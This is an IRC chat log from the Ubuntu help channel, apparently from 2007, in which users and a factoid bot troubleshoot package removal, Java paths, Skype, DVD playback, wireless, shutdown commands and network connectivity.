[12:52] <godlygeek> MatBoy: as long as you remember to reinstall xubuntu-desktop before an upgrade, go for it.
[12:52] <Bilbo> export JAV_HOME="/path/to/java"
[12:52] <veynom>  why does linux freeze when i plug in my USB Hub?
[12:52] <overclucker> good mornong (3:51pm here)
[12:52] <godlygeek> MatBoy: but, i would just recommend NOT removing avahi-whatever, and instead just stop it from running as a service.
[12:53] <nickrud> eigma: I do know that the original ones are still created, they can be found at /dev/.static/dev , but when they get moved is another question
[12:53] <livingdaylight> how do i get de skype?
[12:53] <MatBoy> godlygeek, better idea indeed
[12:53] <bkhype> gnomebaker did the same thing, anyone know of another cd burning program?
[12:53] <Bilbo> or put it into /etc/progile at the bottom so it is automatically set every time you login
[12:53] <Bilbo> Nergar: that was for you
[12:53] <livingdaylight> !es
[12:53] <Ubotu> Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[12:53] <gosha> !symlink
[12:53] <gosha> !symlinks
[12:53] <Ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Guide: https://help.ubuntu.com/community/UsingTheTerminal
[12:53] <ticnailer69> thanks
[12:53] <Ubotu> Sorry, I don't know anything about symlinks - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:54] <Nergar> Bilbo, thnx
[12:54] <stefg> MatBoy: I'm 99%  sure that removing xubuntu-desktop and avahi will exactly do *nothing* in terms of upgrades. and in case you bother to read the official upgrade notes you'll be noticed again anyway
[12:54] <Bilbo> np
[12:54] <Bilbo> Nergar: replace /path/to/java with the real full path to the java installation
[12:54] <godlygeek> MatBoy: sudo update-rc.d -f avahi-daemon remove
[12:55] <Bilbo> in my case it is /usr/java/jdk_blah_blah_blah
[12:55] <Nergar> Bilbo, did you mean /profile?
[12:55] <MatBoy> godlygeek, can you do a remove avahi-deamon and check what 3 packages in total (so the 2 extrat) it wants to remove ?
[12:55] <Nergar> right?
[12:55] <godlygeek> stefg: you're wrong.  the only way that new packages get installed on an upgrade is if one of the metapackages you already have depends them.
[12:55] <MatBoy> godlygeek, thanks btw
[12:55] <Bilbo> Nergar: no
[12:56] <livingdaylight> is automatix recommended?
[12:56] <Bilbo> Nergar: no....   the file is slash etc slash profile
[12:56] <PriceChild> livingdaylight, no
[12:56] <nickrud> stefg: the only thing he might miss is if the dev's decide to add some functionality that they use the meta-package to pull in. Not clean, though imho
[12:56] <livingdaylight> so how do i get skype?
[12:56] <Nergar> Bilbo, yes i know
[12:56] <godlygeek> MatBoy: i don't really know, but like i said, my recommendation is definitely to just stop the service rather than removing the package, and the command i sent you will do that.
[12:56] <PriceChild> livingdaylight, what have you tried so far?
[12:56] <Nergar> Bilbo, but you wrote /etc/progile
[12:56] <Bilbo> Nergar: sorry...
[12:57] <MatBoy> godlygeek, I already removed it :)
[12:57] <livingdaylight> PriceChild, synaptic
[12:57] <Nergar> :)
[12:57] <Nergar> ok
[12:57] <Nergar> thnx
[12:57] <stefg> godlygeek: so the metapackages are poorly designed, instaed of having a clean transitional package upgrade path. debian worked for ages without sick, silly, broken-by-design meta-f*cking desktop-packages
[12:57] <MatBoy> and reinstalled it but it only add that package
[12:57] <godlygeek> MatBoy: oh.  :)
[12:57] <avt3kk> did you guys come out with a version of ubuntu that has a safe mode boot to the live cd and has a working chat clkient that can connect to yahoo?
[12:57] <gosha> For Ubuntu users, if your directories and files are on other devices, like /dev/hda1, you must add mpd user to "plugdev" group. <--- What would the plugdev group be on 7.04?
[12:57] <nickrud> gosha: plugdev
[12:57] <avt3kk> hello
[12:57] <PriceChild> livingdaylight, watch this: http://screencasts.ubuntu.com/Skype
[12:57] <godlygeek> stefg: i'm not saying that the metapackages are the best idea ever, just that they DO get used to pull in new required packages, and that not having them CAN break things.
[12:58] <gosha> =/ should I create a group called plugdev?
[12:58] <avt3kk> guys who saw my question?
[12:58] <godlygeek> stefg: my upgrade from warty was horribly borked thanks to me not having had ubuntu-desktop installed.
[12:58] <Bilbo> Nergar: I have phat phingers today
[12:58] <Nergar> Bilbo, LOL
[12:58] <PriceChild> avt3kk, you can do that fine from a live cd
[12:58] <eigma> nickrud: actually, I just specified the wrong "root=".. d'oh. X-Y problem again.
[12:59] <stefg> godlygeek: actually i do not trust upgrades anyway... can't recall having made an upgrade yet, which didn't result in backing up, reinstalling from scratch and restoring /home and some /etc -files
[12:59] <godlygeek> still hoping for an answer: is there any way to hibernate OOTB if you don't have a swap partition, or should I be resolved to rolling my own kernels?
[12:59] <Bilbo> I am having an issue connecting my feisty fawn on a dell latitude to an airport extrem base station
[12:59] <livingdaylight> PriceChild, what is a screencast?
[12:59] <PriceChild> livingdaylight, watch it
[12:59] <livingdaylight> i clicked on it nothing happens
[12:59] <nickrud> eigma: if I counted the times I'd had to clean my glasses, I'd have no time for anything else :)
[12:59] <avt3kk> Price I have radeon saphire x800 gto video card and want to install ubuntu and use yahoo chat
[12:59] <pacmanfan> alright, the FAQ hasn't helped... i don't have to recompile Totem after installing new codecs, do i?!?
[12:59] <godlygeek> stefg: it works for me 2 out of 3 times, heh, but never works if i don't have at least one of the *desktop packages.
[12:59] <Bilbo> cant connect consistantly... mac connects and winblows from work connects eeeez
[12:59] <avt3kk> yahoo chat now has to verify with a bunch of letters to enter a chatroom you guys knew this?
[12:59] <Bilbo> it connects then pops out again
[01:00] <avt3kk> yes, no
[01:00] <livingdaylight> PriceChild, do i need Miro?
[01:00] <avt3kk> this is something new
[01:00] <pacmanfan> why the heck can't Ubuntu play a DVD out of the box?!?
[01:00] <PriceChild> miro?
[01:00] <avt3kk> letters and numbers
[01:00] <livingdaylight> !miro
[01:00] <Ubotu> Sorry, I don't know anything about miro - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[01:00] <MatBoy> godlygeek, can you please check ? it wants to remove another package than desktop and the package itself
[01:00] <metoo> hi all
[01:00] <MatBoy> godlygeek, just do a remove and say no
[01:00] <TTilus> pacmanfan: nasty legal stuff
[01:00] <PriceChild> pacmanfan, because that would be illegal in the us
[01:00] <livingdaylight> PriceChild, it was called Democracy and became Miro
[01:01] <pacmanfan> CSS DVDs, yes.
[01:01] <pacmanfan> unencrypted DVDs, no.
[01:01] <PriceChild> livingdaylight, just click that link and watch one of the videos!
[01:01] <livingdaylight> PriceChild, otherwise how do i watch screencasts?
[01:01] <TTilus> pacmanfan: blame lawmakers
[01:01] <stefg> godlygeek: might be.... but i have to build my own kernel anyway, (silly bug in ubuntus kernel) so i tend to skip versions and then start from scratch. got used to it and like the 'get rid of old stuff' effect now
[01:01] <livingdaylight> PriceChild, i click on the link and nothing happens
[01:01] <PriceChild> livingdaylight, what link?
[01:01] <nickrud> !info democracy-player
[01:01] <Ubotu> Package democracy-player does not exist in feisty, feisty-seveas
[01:01] <livingdaylight> the one you gave me... in two places
[01:01] <godlygeek> MatBoy: True enough, let me check
[01:01] <pacmanfan> i'm talking a plain old unencrypted homemade DVD.
[01:02] <jerkface03> Can someone tell me how I can access my floppy drive in ubuntu?
[01:02] <avt3kk> ok now I have dapper drake installed as dualboot next to xp both with image backups //// im looking for a newer ubuntu that has some kind of safemode boot to the live cd and can show the list of letters and numbers yahoo chat will ask me to verify to enter a room.<<<<<<<
[01:02] <nickrud> !info democracyplayer | livingdaylight
[01:02] <jerkface03> in ubuntu server that is?
[01:02] <MatBoy> godlygeek, I'm always honest
[01:02] <PriceChild> livingdaylight, go to the link/webpage i gave you
[01:02] <Ubotu> livingdaylight: democracyplayer: GTK+ based RSS video aggregator. In component universe, is optional. Version 0.9.2.1-2.1ubuntu2 (feisty), package size 509 kB, installed size 2768 kB
[01:02] <TTilus> pacmanfan: methinks it should work, but i could be just plain wrong
[01:02] <PriceChild> livingdaylight, scroll down, and choose a one of the video formats there
[01:02] <godlygeek> MatBoy: avahi-daemon avahi-utils libnss-mdns xubuntu-desktop
[01:02] <avt3kk> I know how to fixboot fixmbr so I can take out ubuntu no biggy
[01:02] <PriceChild> nickrud, its not needed!
[01:02] <livingdaylight> PriceChild, i clicked on skype on ubuntu linux and the image too
[01:02] <avt3kk> and keep xp
[01:02] <nickrud> PriceChild: true, but loveley
[01:02] <MatBoy> godlygeek, ok, thanks ! I reinstalled all
[01:02] <d90> jerkface03: go to computer then click right click on floppy then mount
[01:03] <avt3kk> who saw my question?
[01:03] <godlygeek> MatBoy: no problem.
[01:03] <PriceChild> livingdaylight, I could have explained how to install skype using instructions... but thought that would be a little difficult, so I have given you a source of videos to guide you exactly.
[01:03] <livingdaylight> nickrud, hi :D ... is Democracy what we still call it in Ubuntu... i believe they've upgraded to Miro... the name was not popular apparently
[01:03] <MatBoy> godlygeek, only the utils is not default
[01:03] <nickrud> livingdaylight: it's changed later, but still that in 7.04
[01:03] <livingdaylight> PriceChild, i appreciate it -really... it just is not playing videos
[01:03] <jesus_> hey all, im setting up my friend with ubuntu for the firs ttime and i forgot what to call the virtual memory partition of the drive and what other options i need to select for it
[01:04] <PriceChild> livingdaylight, there's almost a dozen choices, you've tried them all?
[01:04] <MatBoy> godlygeek, but when you reinstall desktop... gaim and other stuff you rmoevd is added again and you need to remove it and install pidgin again for an example
[01:04] <godlygeek> MatBoy: so, don't reinstall that one, then.  :-p
[01:04] <MatBoy> godlygeek, it's in the same shape it was before :)
[01:04] <nickrud> MatBoy: you can tell apt-get to ignore recommended packages; I think gaim falls in that category
[01:04] <MatBoy> thanks !
[01:04] <godlygeek> MatBoy: I don't know, my general policy is to never remove one of the *ubuntu-desktop's.  i've never really found a good way to completely fix things if you do.  sorry, but it's out of my league.  :)
[01:05] <stefg> !cloning | MatBoy: you might beinterested in
[01:05] <Ubotu> MatBoy: you might beinterested in: To replicate your packages selection on another machine (or restore it if re-installing), you can type  dpkg --get-selections > ~/my-packages , move the file "my-packages" to the other machine, and there type  sudo dpkg --set-selections < my-packages && apt-get dselect-upgrade  - See also !automate
[01:05] <avt3kk> guys?
[01:05] <avt3kk>  ok now I have dapper drake installed as dualboot next to xp both with image backups //// im looking for a newer ubuntu that has some kind of safemode boot to the live cd and can show the list of letters and numbers yahoo chat will ask me to verify to enter a room.<<<<<<<<
[01:05] <terrestre> Stwange: are you there?
[01:05] <peter_> Good evening from Spain......Does anyone know of any plans to include udf 2.5 support in gutsy?
[01:05] <PriceChild> !gutsy | peter_
[01:05] <Ubotu> peter_: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[01:06] <avt3kk> safe mode because of my video card
[01:06] <peter_> thanks.
[01:06] <MatBoy> stefg, thanks !
[01:06] <vas> hey the default VNC server that comes with feisty, what ports does it use?
[01:06] <AndrewLife> I plugged in a joystick into my usb and restarted the computer, now my sound doesn't work. How can I fix this?
[01:06] <PriceChild> avt3kk, yes they do both
[01:06] <MatBoy> godlygeek, my intention is the same actually :)
[01:06] <avt3kk> Price what does?
[01:06] <eccentricity> Hello all. I'm trying to setup a microphone. It doesn't seem to sense it or know of its existence, though. Any ideas.
[01:06] <MatBoy> but I thought it was for that deomon also
[01:06] <PriceChild> AndrewLife, what else did you do?
[01:06] <MatBoy> daemon
[01:06] <eccentricity> ?
[01:07] <avt3kk> Price should I just get the latest version of ubuntu?
[01:07] <avt3kk> it has safe mode boot?
[01:07] <vas> anyone, anyone
[01:07] <avt3kk> whats it called
[01:07] <AndrewLife> I'm not sure what else I did.... atleast what else would have an effect
[01:07] <PriceChild> avt3kk, dapper should have it on the live cd too
[01:07] <Dark_Ebola> hi, I just installed ubuntu feisty on my roomate lap-top (acer apsire 5100) and usb aren't working: any ideas?
[01:07] <avt3kk> it does thats how I installed it haha
[01:07] <AndrewLife> But I did run a gameboy advance emulator
[01:07] <avt3kk> im now in ubuntu dapper
[01:08] <PriceChild> !doesn't work | Dark_Ebola
[01:08] <Ubotu> Dark_Ebola: Doesn't work is a strong statement. Does it sit on the couch all day? Does it want more money? Is it on IRC all the time? Please be specific! Examples of what doesn't work tend to help too.
[01:08] <avt3kk> I mean a later version
[01:08] <AndrewLife> Well, when I first restarted the computer the volume control didn't load properly, so I restarted again and it loads but there's no sound.
[01:08] <avt3kk> I cant connect to yahoo now
[01:08] <Dark_Ebola> PriceChild : thanks for your priceless helping :P
[01:08] <avt3kk> I been to yahoo chat with xp
[01:08] <jerkface03> does anyone know how to unmount a drive?
[01:08] <avt3kk> you have to verify letters and numbers
[01:08] <fujin> hi, I'm trying to install 7.04 on my desktop, after installation it just sits goes through Grub and then starts flashing cursor
[01:08] <fujin> doesn't boot up at all
[01:08] <fujin> even with quiet / splash removed off the kernel live
[01:08] <PriceChild> jerkface03, sudo umount /dev/foo, or sudo umount mountpoint
[01:09] <avt3kk> jerk its called umunt
[01:09] <avt3kk> umount
[01:09] <AndrewLife> What would cause volume control to fail to load.
[01:09] <AndrewLife> ?
[01:09] <avt3kk> jerk I have a tut I made in my email brb
[01:10] <jerkface03> avt3kk: pass it along this way
[01:11] <Xero> Bewbiezz
[01:11] <CoasterMaster> !lamp
[01:11] <Ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[01:11] <avt3kk> Jerk heres the tut: http://ubuntuforums.org/showthread.php?p=3242630#post3242630
[01:11] <Neoxygen> #ubuntu-fr
[01:11] <gosha> How do I add the "mpd" user to the "plugdev" group?
[01:11] <CoasterMaster> thank you, ubotu
[01:11] <CoasterMaster> !botsnack
[01:12] <Ubotu> Yum! Err, I mean, APT!
[01:12] <silvertip257> I'm trying to echo and redirect (>>) a string to all files in a directory (log files).
[01:13] <stefg> silvertip257: http://www.tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html
[01:13] <astro76> silvertip257, maybe like this: echo "string" | tee --append file1 file2...
[01:14] <riotkittie> my stupid wireless problems and i are back :D
[01:14] <Erythro> wireless is fun
[01:14] <rafaelscj> is there a program better than firestarter?
[01:14] <Oney> wlassistant works great for wireless for me. =D
[01:14] <riotkittie> network-manager gnome is independent of /etc/network/interfaces, right?
[01:14] <Nyle> hello ubunties
[01:14] <silvertip257> haha ty stefg
[01:15] <Nyle> ubuntians
[01:15] <silvertip257> ty astro76:  I've used tee, but not the append param
[01:15] <riotkittie> wireless is about as much fun as a root canal with a rusty fork and a lack of novacaine.
[01:15] <Nyle> riotkittie: its not that bad
[01:15] <riotkittie> i did not realize how good i had it on my laptop :\
[01:15] <Erythro> trudat riotkittie
[01:15] <Nyle> a broken spacebar is fun
 wireless is about as much fun as a root canal with a rusty fork and a lack of novacaine.
[01:15] <Xero> Sigged.
[01:15] <vader1102> riotkittie, I got my broadcom working with cafuego's stuff
[01:15] <PriceChild> !offtopic
[01:15] <Ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[01:16] <stefg> Nyle: remap space to.... ermmm... CAPSLOCK ?
[01:16] <Xero> lol
[01:16] <Nyle> ugh
[01:16] <avt3kk> guys see what I did? http://ubuntuforums.org/showthread.php?p=3242630#post3242630
[01:17] <avt3kk> backed up ubuntu as an image in a graphical user interface haha
[01:17] <Nyle> 
[01:17] <Nyle> oops
[01:17] <avt3kk> :P
[01:17] <jaggz-> hello.. I've used ubuntu for a couple years on my laptop.. although after installing it my windows XP wouldn't load anymore
[01:17] <Moniker42> hey, i'm trying to install flash on 32bit firefox on 64bit ubuntu
[01:17] <Moniker42> E: Package flashplugin-nonfree has no installation candidate
[01:17] <silvertip257> astro76:  so there's no way to use a wildcard on files in a dir to add a line to the files?
[01:17] <Xero> jaggz-, good. Windows is bad for the mind, body, and soul.
[01:17] <silvertip257> like w/o knowing the names
[01:17] <Nyle> umm
[01:17] <jaggz-> having both is important to me though
[01:18] <Nyle> avt3kk: man dd.
[01:18] <Xero> jaggz-, apt-get install wine
[01:18] <jaggz-> nevertheless, I didn't boot my laptop into windows for 2.5 years :)
[01:18] <Xero> Problem solved
[01:18] <avt3kk> Nyle my version works lolol
[01:18] <rafaelscj> is there a program better then firestarter?
[01:18] <Nyle> avt3kk: dd
[01:18] <jaggz-> so I'm wondering about ubuntu server for a web server
[01:18] <avt3kk> im a poineer :)
[01:18] <riotkittie> it took you 2.5 years to find a solution? x_x
[01:18] <jaggz-> riotkittle, no, I've not solved it still
[01:18] <avt3kk> isnt that cool
[01:19] <jaggz-> it's just at the 2.5 year mark :)
[01:19] <avt3kk> Nyle did you read my post link? http://ubuntuforums.org/showthread.php?p=3242630#post3242630
[01:19] <riotkittie> what do you mean by windows wont load - that its not on the boot menu, or that you can attempt to boot it and it dies at that point?
[01:19] <nickrud> jaggz-: I'd think it's time to reformat that partition ;)
[01:19] <jaggz-> so does anyone have experience setting up linux servers?  I've setup a slackware server 13 years ago, then a few redhat servers over the years
[01:20] <AncientRelic> jaggz-: Server for what?
[01:20] <jaggz-> and I'm just wondering now if I should go with something like linux
[01:20] <jaggz-> err, like ubuntu
[01:20] <PWND_> Is anyone familiar with installing a netgear ethernet card on ubuntu?
[01:20] <fixeer> my load halts at NetworkManager, loading stage 5 of my eth0. when i boot into recovery it works fine though, what could be wrong?
[01:20] <riotkittie> network-manager-gnome is independent of /etc/network/interfaces, right?
[01:20] <AncientRelic> I mean what are you going to do with the server
[01:20] <jaggz-> web server.. also it'll be handling mail, ssl
[01:20] <DM|> jaggz-: what are u running now?
[01:20] <nickrud> web, mail, ftp, samba, what?
[01:20] <jaggz-> (web ssl)
[01:20] <AncientRelic> definitely go Linux for that
[01:20] <CountX> i cant shut off my computer
[01:20] <PWND_> ^rofl
[01:21] <avt3kk> Nyle what you think?
[01:21] <avt3kk> lol
[01:21] <Nyle> i thinks its fairly useless
[01:21] <jaggz-> redhat.. but my own apache installed, and other software.. basically I'm not using the redhat stuff much, but it's nice to have a good core platform
[01:21] <CountX> there is no shutdown or restart thing on the quit menu
[01:21] <avt3kk> Nyle well it works :P
[01:21] <Nyle> yay
[01:21] <avt3kk> I can save an image by just clicking....
[01:21] <PWND_> Is anyone familiar with installing a netgear ethernet card on ubuntu?
[01:21] <AncientRelic> CountX: terminal window?
[01:21] <nickrud> CountX: log out, then shut down from the login window menu
[01:21] <avt3kk> click click saved
[01:21] <avt3kk> so easy...
[01:21] <AncientRelic> CountX: "reboot"
[01:21] <Nyle> couple of words on a terminal ...saved
[01:21] <avt3kk> im the master of lazyness :P
[01:22] <CountX> AncientRelic, is shutdown a command too?
[01:22] <Nyle> you still have to drag the mosue around
[01:22] <Nyle> i can do what you did in much less
[01:22] <Nyle> keystrokes.
[01:22] <eccentricity> anyone have a clue how to get a microphone working?
[01:22] <avt3kk> im not good at typing can you tell lol
[01:22] <AncientRelic> CountX: pretty sure it is, I've tended to use reboot lately
[01:22] <nickrud> or scheduled script, no clicks
[01:22] <CountX> AncientRelic, it is but you need to specify a time
[01:22] <riotkittie> sudo shutdown -h now  ... or even poweroff will do it
[01:22] <jaggz-> ecc, make noise :)
[01:22] <AncientRelic> CountX: "
[01:23] <avt3kk> Nick a scrit to save an image?
[01:23] <AncientRelic> CountX: "now" is a time ;)
[01:23] <avt3kk> script
[01:23] <eccentricity> Oh, that mighta been my problem
[01:23] <riotkittie> do you ever have a shutdown button on the panel?
[01:23] <CountX> AncientRelic, cool
[01:23] <avt3kk> Nick how can I do this script for backup?
[01:23] <jaggz-> eccentricity: you need an app that can get sound (what are you using?  rezound?  audacity?)  and then adjust the mic levels..
[01:23] <AncientRelic> CountX: Did it work?
[01:23] <CountX> AncientRelic, thanks bro
[01:23] <nickrud> avt3kk: image, backup, variety of ways to back up, image is not the only way
[01:23] <jaggz-> and toggle the mute buttons
[01:23] <CountX> AncientRelic, i put 1 minute
[01:23] <CountX> :P
[01:24] <sean13> hey there guys, anyone know why synaptic wants to remove "ubuntu-desktop" when I try to uninstall bittorrent
[01:24] <AncientRelic> CountX: thank riotkittie too
[01:24] <sean13> and if it's safe to do so
[01:24] <avt3kk> Nick I like imaging
[01:24] <CountX> AncientRelic, i will when i come bakc
[01:24] <AncientRelic> k
[01:24] <avt3kk> drive image 2002 I can choose high compression :P
[01:24] <avt3kk> 3 types to choose
[01:24] <nickrud> sean13: it's safe ; when you upgrade to the next release though, you probably should reinstall the desktop package.
[01:24] <avt3kk> its cool
[01:24] <AncientRelic> best way to share files with a mac from ubuntu?
[01:25] <sean13> nickrud: ok cool thanks
[01:25] <avt3kk> rapidshare lol
[01:25] <sean13> nickrud: what is the ubuntu-desktop package exactly?
[01:25] <avt3kk> rapidshare the person can download at their own speed
[01:25] <avt3kk> ancient
[01:25] <rafaelscj> do you know a program better than firestarter?
[01:25] <nickrud> sean13: it's a list of packages that the developers consider useful for a desktop ; you can see the list by typing apt-cache depends ubuntu-desktop
[01:25] <AncientRelic> more like network share
[01:25] <avt3kk> if its one file rapidshare is good
[01:26] <AncientRelic> just samba has seemed a bit sluggish
[01:26] <fujin> anyone familiar with what would cause Ubuntu to not boot correctly?
[01:26] <avt3kk> more then one you need an account if you dont want to wait lol
[01:26] <sean13> nickrud, alrite thanks
[01:26] <fujin> the grub menu runs, and then it just sits there flashing a cursor at me
[01:26] <KoN> hey, do you need the xgl extension in your xorg.conf to use compiz-fusion, anyone kno?
[01:26] <rafaelscj> !forum
[01:26] <Ubotu> The Ubuntu forums can be found at http://www.ubuntuforums.org
[01:27] <Zeke> OK, I'm trying to burn the Ubuntu I386 ISO disk and its larger than the CD..
[01:27] <devtrash> Where can I find a DEB of rdiff-backup-1.1.12?
[01:27] <avt3kk> network share I dont know
[01:27] <avt3kk> man this room is making my brain hurt
[01:27] <donovan_> I have the ISO on disk, can send...
[01:27] <avt3kk> im going to play unreal lol :/
[01:28] <pac1> how do i find out information about the processor in a machine?
[01:28] <nickrud> Zeke: the iso image is around 697mb ...
[01:28] <nickrud> pac1: cat /proc/cpuinfo
[01:28] <Zeke> Yeah, but when I drag it to burn the image it says is 702mb
[01:28] <rafaelscj> is there a way to install ubuntu from windows, isn't there?
[01:28] <AncientRelic> Zeke: a modern CD-R is 800M should be more than enough
[01:29] <Zeke> I didn't have a problem with my 64bit version... hmm
[01:29] <Moniker42> hey, i'm trying to install flash on 32bit firefox on 64bit ubuntu
[01:29] <Moniker42> E: Package flashplugin-nonfree has no installation candidate
[01:29] <Xaelgrim> can someone please help me connect to my main pc's workgroup?
[01:30] <nickrud> devtrash: the one in the repos is 1.1.5 ; you must have an older one?
[01:30] <emeriste> How diligent is Ubuntu about updating it's repositories?
[01:30] <amio> hi
[01:30] <amio> can I get some help please?
[01:30] <jmak642> diligent or so, i get updates alot emeriste
[01:31] <nickrud> emeriste: for security, very good; for new releases, usually it's wait till next distro release
[01:31] <jmak642> amio: what's up?
[01:31] <amio> jamk I am having troubles connecting to the internet from ubuntu
[01:31] <emeriste> Nickrud I see. Because I noticed that my Ubuntu came wtih GAIM but there is no more GAIM
[01:31] <wowweee> rafaelscj: wubi http://wubi-installer.org/
[01:31] <godlygeek> emeriste: or, adding the ubuntu-backports repository, which increases the odds of getting a new feature release.
[01:31] <Manignug> sorry if this is the wrong place to ask. Can anyone please give me an open mail server address.
[01:31] <devtrash> nick I need 1.1.12 a new version
[01:31] <MatBoy> Mhh, I never like it that my Linux installations have a High CPU uisage with 4 screens attached
[01:31] <cchance> heheh i found a way to get my 7.04 set up for dialup. But my question is how do i make the computer dialup?
[01:31] <MatBoy> *usage
[01:32] <amio> I have the normal lan cable connected to modem through a router
[01:32] <Xaelgrim> can anyone point me to a resource that explains how to set up a home network using ubuntu?
[01:32] <nickrud> emeriste: yes, it's a philosophy brought over from debian, don't add any new bugs (which users know the old ones and have worked around)to a release, so don't change the packages
[01:32] <amio> with windows I get internet without any troubles but when I on ubuntu I can not get
[01:32] <avt3kk> I cant connect to yahoo chat because now yahoo makes you verify a bunch of letters and numbers on a picutre file before entering a chatroom???????
[01:32] <eccentricity> ok, my system doesn't even seem to know there's a microphone
[01:32] <jmak642> amio: does your nic show up?
[01:32] <eccentricity> anything I can do?
[01:32] <amio> it says that I am connected to lan but no internet as I see form the page
[01:33] <eccentricity> (I have audacity monitoring input)
[01:33] <jmak642> amio: have you tried simple tests like pinging your gateway?
[01:33] <emeriste> avt3kk -- Pidgin has fixed the problem in the new release (which is targeted to come out tomorrow).
[01:33] <amio> WELL I TRIED TO PING SOME PAGE LIKE GOOGLE.COM
[01:33] <Timbooooo> does anyone know how to fix inspiron 1150 issue with wireless connection to the internet?
[01:33] <amio> NOTHING
[01:33] <avt3kk> cool thankyou :D
[01:33] <neverblue> amio, caps arent really necessary
[01:33] <vader1102> amio, why shout
[01:34] <amio> IT SAYS CAN NOT FIND SERVER OR i THINK PLACE JUST I DONT KNOW EXACTLY WHATS WRITTEN
[01:34] <databoy2k> Hey all... I'm having an issue with installing Ubuntu. Yesterday I was told to use the alternative CD (text based), from which I installed. I still get an issue wherein when I boot into Ubuntu, I get to the GRUB bootmenu, choose Ubuntu, see one thing on the bottom of the screen, and my screen goes into power mode with my caps lock and scroll lock lights blinking on my keyboard... how can I troubleshoot this?
[01:34] <neverblue> !caps | amio
[01:34] <PriceChild> !caps | amio
[01:34] <Ubotu> amio: PLEASE DON'T SHOUT! We can read lowercase too.
[01:34] <cchance> amio
[01:34] <cchance> please
[01:34] <jmak642> turn off caps ok?
[01:34] <jmak642> !paste | amio
[01:34] <Ubotu> amio: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[01:34] <avt3kk> Emeriste will the new version of ubuntu have safe mode boot like dapper?
[01:34] <Timbooooo> does anyone know how to fix inspiron 1150 issue with wireless connection to the internet?
[01:34] <livingdaylight> i've installed Democracy and i just checked 'Edit Menu' and it is ticked and should show in my applications menu under 'sound' but it just isn't there...:s any ideas?
[01:34] <jmak642> amio: use that link to post the result of sudo ifconfig
[01:34] <cchance> Timbooooo, Do you like repeating?
[01:35] <godlygeek> avt3kk: every version of ubuntu will have that.
[01:35] <neverblue> databoy2k, use the CD to run memtest, to eliminate the RAM as an issue
[01:35] <jmak642> amio: i guess you are on another machine, that wont help
[01:35] <neverblue> databoy2k, or see what others suggest
[01:35] <Xaelgrim> can anyone point me to a resource that explains how to set up a home network using ubuntu?
[01:35] <Timbooooo> cchance no, do you like helping people or being an ass?
[01:35] <PriceChild> !guidelines > Timbooooo
[01:35] <Asuka> i need a codec for mp4 files
[01:35] <avt3kk> why only in dapper can I chick it?
[01:35] <avt3kk> click
[01:35] <jmak642> amio: just run sudo ifconfig in a terminal window
[01:35] <PriceChild> Timbooooo, (see the message from ubotu)
[01:35] <CoasterMaster> !codec Asuka
[01:35] <Ubotu> Sorry, I don't know anything about codec asuka - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[01:35] <CoasterMaster> !codec | Asuka
[01:35] <Ubotu> Asuka: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[01:35] <cchance> omg, was i like that when i was a noob to this chan
[01:35] <jmak642> and see if you can spot your ip address is the dump
[01:36] <navets> Asuka: have you tried using automatix?
[01:36] <nickrud> !automatix | navets
[01:36] <amio> jamk I am on the same machine but turned on windows as I got headache for not having connection for few days
[01:36] <Ubotu> navets: Automatix2 is a block of code which attempts to install some software.  When it fails and breaks systems, we don't provide support for it.  A creditable analysis from a debian/ubuntu developer is here - http://mjg59.livejournal.com/77440.html (Additional information: /msg ubotu worksforme)
[01:36] <Timbooooo> im trying to get the internet fixed on the laptop, thats it... nobody seems to knwo what to do and suggests i read 20000 pages of "help guides"
[01:36] <amio> because on linux doesnt make any connection
[01:36] <avt3kk> coaster hahha that was funny
[01:36] <amio> so what should I do?
[01:37] <cchance> im going to repost my question since no one seems to have seen it. I have setupmy dialup modem on my system but now i dont know how to make it dial up anyideas on how to make it?
[01:37] <jmak642> amio: i see.  well use network manager under system administration to make sure your adapter is set for dhcp and that you are being assigned a valid ip address
[01:37] <navets> nickrud: I like automatix, ive had no problems
[01:37] <alnux> hello. I was messing around trying to install compiz. after not be able to install it on this powerpc I unstalled and now I lost all my desktop effects I had prior to installing compiz. I can't even find the Desktop Effects menu under System
[01:37] <DM|> Mkay, what do yall use to sync Album art to an ipod ?
[01:37] <godlygeek> !worksforme | navets
[01:37] <Ubotu> navets: Common Sense: Just because you can, does not mean you should (and especially recommend to others). Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability. Please see http://geekosophical.net/random/worksforme/
[01:37] <jmak642> amio: 192.168,something most likely
[01:37] <nickrud> navets: may be, but lots of people come here for help when it screws their machine. So, it's not something thats recommended here
[01:38] <navets> nickrud: what can go wrong with it?
[01:38] <riotkittie> it can hose systems
[01:38] <nickrud> navets: read that link by mjg56
[01:38] <nickrud> *9
[01:38] <BFIT1908> i have a quick question about the echo command (the man pages did not help). If i wanted to type in echo hello world
[01:38] <amio> jmak642 -- I have tried all what I can do look what I have since I installed 1- when I run the instalation I got message says. failed making connection . so I choose to complete the setup without network
[01:38] <BFIT1908> how could i get it to display it in all caps?
[01:38] <BFIT1908> instead of just lowercase
[01:38] <amio> then when I got ubuntu installed
[01:39] <databoy2k> i'll try the memtest... one other thing i've read about some issues with the WMP54G v.4.1 Wireless card.... could this be the issue as well? would it help to remove it and boot from there?
[01:39] <jmak642> amio then i guess reboot and come back here.  you dont have another computer?
[01:39] <amio> I tried to change the configuration
